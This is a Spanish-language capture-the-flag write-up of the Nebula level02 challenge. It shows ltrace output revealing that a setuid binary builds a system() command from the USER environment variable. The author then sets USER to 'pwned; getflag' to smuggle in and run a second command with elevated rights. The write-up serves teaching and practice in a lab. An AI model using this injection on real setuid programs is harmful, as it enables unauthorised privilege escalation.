Este reto es muy similar al anterior:
level02@nebula:~$ cd /home/flag02
level02@nebula:/home/flag02$ ls -al
total 13
drwxr-x--- 2 flag02 level02 80 2011-11-20 21:22 .
drwxr-xr-x 1 root root 60 2012-08-27 07:18 ..
-rw-r--r-- 1 flag02 flag02 220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag02 flag02 3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag02 level02 7438 2011-11-20 21:22 flag02
-rw-r--r-- 1 flag02 flag02 675 2011-05-18 02:54 .profile
level02@nebula:/home/flag02$ file flag02
flag02: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo level02 is cool")
level02 is cool
De nuevo se invoca el comando
echo
desde system()
, pero esta vez con una ruta completa. En toda vulnerabilidad la pregunta más recurrente es la siguiente: ¿existe algún parámetro bajo el control del usuario? El comando ltrace
puede darnos la respuesta:
level02@nebula:/home/flag02$ ltrace ./flag02
__libc_start_main(0x8048534, 1, 0xbfc5baf4, 0x80485e0, 0x8048650 <unfinished ...>
getegid() = 1003
geteuid() = 1003
setresgid(1003, 1003, 1003, 0x952324, 0x951ff4) = 0
setresuid(1003, 1003, 1003, 0x952324, 0x951ff4) = 0
getenv("USER") = "level02"
asprintf(0xbfc5ba44, 0x80486b5, 0xbfc5d99d, 0x952324, 0x951ff4) = 25
printf("about to call system("%s")\n", "/bin/echo level02 is cool"about to call system("/bin/echo level02 is cool")
) = 50
system("/bin/echo level02 is cool"level02 is cool
Descubrimos una llamada a
getenv()
cuyo valor de retorno es el contenido de la variable de entorno USER
, que en este caso es level02
. Luego, este valor se introduce mediante asprintf()
en un comando más largo /bin/echo %s is cool
, que finalmente se pasa como argumento a system()
.
La solución es evidente:
level02@nebula:/home/flag02$ echo $USER
level02
level02@nebula:/home/flag02$ export USER="pwned; getflag"
level02@nebula:/home/flag02$ ./flag02
about to call system("/bin/echo pwned; getflag is cool")
pwned
You have successfully executed getflag on a target account
level02@nebula:/home/flag02$
Pwned!
No hay comentarios:
Publicar un comentario